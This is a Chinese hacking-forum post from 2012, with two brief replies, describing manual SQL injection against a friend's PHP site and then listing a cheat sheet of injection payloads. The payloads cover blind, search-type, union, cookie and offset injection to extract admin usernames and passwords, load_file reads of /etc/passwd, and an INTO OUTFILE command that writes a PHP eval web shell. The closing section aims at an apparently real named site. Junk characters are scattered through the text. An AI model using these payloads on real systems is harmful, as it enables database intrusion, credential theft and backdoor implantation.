找回密码
 立即注册
查看: 3752|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~+ f( K  r+ D/ G- |% c' f5 \2 S
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
' o0 V& W: d$ {. E8 b: r1 k我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
7 `2 ]/ W! L9 ^+ d如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
8 N# s7 R: N2 g  l0 I/ J* T1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)' n9 @9 ?. e2 m1 C
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:1 _$ c8 d5 ~. ]' t6 j5 v# S/ ]; `; b
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
# e4 b9 n+ i. p/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
0 `$ U  c: S: h- q* b1 V. m                         - h+ p! T; C, P
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,. j" {- ^; \3 U3 W! X1 b- E
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意/ a7 e* E5 ?6 {7 C. d$ s$ v) K6 ]% k
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
1 D$ ~, @) L7 _5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
+ F* }, @, T! _  z9 T有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,0 _4 G: n- m# e+ Y& ~* n8 I! m
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。* N9 ^0 L5 I  K1 `/ C
我就用的是第二个思路,6 w" z8 d: z# F1 n" w; t1 a3 C
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  3 D4 I9 b# }: R7 j. I6 e# X+ L
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
, y) }1 G. a  j  z/ z提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--" U. h5 o! u7 L, b
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。# ~0 d1 J$ U- Z" }7 C1 `
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
" A! q: `0 p* s$ E) P8 u1 G6 S是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....% U7 w. j1 s9 S- o: d- q
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --7 ?4 Q! H5 c/ h6 n  Z- {
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,' f7 C$ v- @! p4 l6 B& R/ {
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
  A# p: u0 f+ a' @5 U* P下面是一些很普遍注入方式资料:
$ k, W  m* b8 l6 c+ X4 z注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='  E) d+ V5 M* e* V* f
拆半法- }) e8 C( ~9 T; ^  L5 z) U
######################################: V+ S/ u( ~& w/ |$ l  x! @
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。+ |5 n: c# Z; x  [, p
and exists (select * from admin)
0 o, E8 x' }1 V. oand exists(select id from admin). m3 S* n9 Z! h& C% e/ n% C" y
and exists(select id from admin where id=1)) x- V  s4 i. r, D' E
and exists(select id from admin where id>1)
, a0 b0 q5 B- G; h然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 : i9 l3 J$ q/ Z$ E. t% j! V
and exists (select username from admin)
6 Z& B6 I" A; m$ M1 Zand exists (select password from admin)  ]: p' G6 j( K, u3 A
and exists (select id from admin where len(username)<10 and id=1)1 a( L- G! U( }: ?' b2 X
and exists (select id from admin where len(username)>5 and id=1)$ B  v8 Q* R' ^  Q
and exists (select id from admin where len(username)=6 and id=1), Y) M3 B+ h6 o- n4 m& x# p
and exists (select id from admin where len(password)<10 and id=1)! \1 D/ `3 {+ Q# Y
and exists (select id from admin where len(password)>5 and id=1)
; h1 v1 Y- q; I, ^# @and exists (select id from admin where len(password)=7 and id=1)$ \0 H0 i" d& O
and (select top 1 asc(mid(username,1,1)) from admin)=97) ^' O4 ]* p0 b& _# b2 R
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
, s' ?+ `. Z- y8 g7 p5 [5 H! [& ?6 E4 x2 ~猜第二位把username,1,1改成username,2,1就可以了。8 A; w% ], \. J5 ]. V3 \6 [
猜密码把username改成password就OK了% t+ m3 n1 |2 x6 {+ S5 r
##################################################
9 ?  r, K! g, A! o; m9 o) P% [3 S搜索型注入- c, V% d& K; ?+ ]  r; ?1 W
##################################. }. Q, {% w( P# P! i
%' and 1=1 and '%'='
3 ^" `- Y" ?/ Z+ B8 L9 o%' and exists (select * from admin) and '%'='" {# r  K) H7 N" ^
%' and exists(select id from admin where id=1) and '%'='
* u' |; W/ ]' h; {& B%' and exists (select id from admin where len(username)<10 and id=1) and '%'='6 v) ?2 [# _6 A) @' N
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
5 e- v7 i& K2 o7 o0 l%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
5 ^: k" P  \0 s3 I+ L3 v. C0 @这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
( B8 F7 W1 o6 N: n9 x5 Q对于MSSQL数据库,后面可以吧 and '%'='换成--
3 r, _  H. S3 I8 |还有一点搜索型注入也可以使用union语句。
5 W8 ?! ?+ z' V2 c, J9 j. X* S* b########################################################
$ p: ?' y& N6 F/ i联合查询。- Y& m; b. ]+ d. V' I6 f+ V
#####################################
" R& h9 a1 l" z) C4 j. U8 X' f! I: gorder by 10$ ^1 y' K2 D4 |0 h, E
and 1=2 union select 1,2,3,4,5,6,7,8,9,10/ g- e2 R4 R, B, x, M
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
& C1 c* T& i5 v# y6 b( r3 Oand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=13 ^* ?. e4 Y- S0 `
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
1 J6 P& d( L2 I' x9 ?# h###################################* F* V* q1 f( I2 `. p5 W1 W1 X
cookie注入
0 X+ D8 W: ]* J' E+ t' `- ]+ I###############################
- B/ y: b4 ~/ L, u5 w. ghttp://www.******.com/shownews.asp?id=127, V/ X- P3 s3 @) Z; y) R
http://www.******.com/shownews.asp: A, V( B# |& Y0 v9 x8 {5 a
alert(="id="+escape("127"));9 [) C/ T/ G) z; f
alert(="id="+escape("127 and 1=1"));, {/ m& Z/ J' ~$ s5 v, a; G4 p; j. e/ v
alert(="id="+escape("127 order by 10"));& G: J2 X! U# c4 P) B0 ]" v. K
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
$ i4 @9 g" s, a- Y9 G/ i- ]alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));1 G  Q0 S5 F$ C% F" L5 d2 L
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。3 I; s8 V  m2 B3 Z$ D; @) u/ b
###################################3 f  U7 @' ?" r# M; l7 c2 L5 d
偏移注入
: D. Y6 z$ e  I; ~7 p& O" S5 N; {###########################################################
) I% X3 S, ]+ X. L1 R5 \; Y" Uunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
# }- x  D8 |7 H9 `' ?* ~- wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin0 [( b# U) n2 k2 ~- Q( L4 r' U+ L$ _
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)9 _" T! b* J7 ?  L
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
2 H/ ]' u5 J+ Dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)2 G$ Y4 ~9 J- m
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
& x# ^7 o$ ^9 L4 H/ Qunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
- P8 P4 i+ e0 i% L3 ^6 W  Ca.id=d.id)
0 {  E- K) ~+ ]and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)# n3 ~$ u1 ^2 e6 S1 }% F6 G
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 4 E, b' W. x  j- g1 V
  ( c0 X  K8 Q' A: ]/ i. Q! a
============================================================================================================: d5 m2 `( |" N
1.判断版本
2 g7 d& i3 `& E' b" @4 cand ord(mid(version(),1,1))>51
# {# q$ j/ P, Z& I0 E5 W返回正常,说明大于4.0版本,支持ounion查询
8 i/ b& C9 t* k; N/ Y) E2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解; I5 D% E( Z) c
and 2=4 union select 1,2,3,4,5,6,7,8,9--3 `" Q, W7 {  F* d6 \( s2 A. N
3.查看数据库版本及当前用户,
; r* Y; z% X- k& r* p# @3 uand 2=4 union select 1,user(),version(),4,5,6,7,8,9--$ x! L; q1 r+ I# L8 X7 M
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
0 Z; M  ]- Y  M. n, t! H7 C$ v4.判断有没有写权限
* }9 O2 B0 T0 @* u+ land (select count(*) from MySQL.user)>0-- * e2 E! M4 l1 z/ m. d
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
! m$ }8 N0 u/ g+ _8 U2 ]: q用不了这个命令,就学习土耳其黑客手法,如下/ |: a; {; h1 w
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
- ]3 F) E% }4 e4 d* z4 I1 D* A6.爆表,爆库
% a& |+ G0 O) [+ M  Y4 Eand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
$ B0 R3 b3 W, O: p) @& ]7.爆列名,爆表
4 ]3 K! V! `5 x3 C" l& R& land+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
6 m3 X8 w. y8 m" g1 t5 s; L' q3 S; U8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
! J( I2 p; \9 m, gand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
" u2 s9 b5 E2 }9 j9.爆字段内容( m2 r% B/ S$ j8 ?: J6 ~
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--# ~  K: u; m4 I8 t1 e+ w4 _, R
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表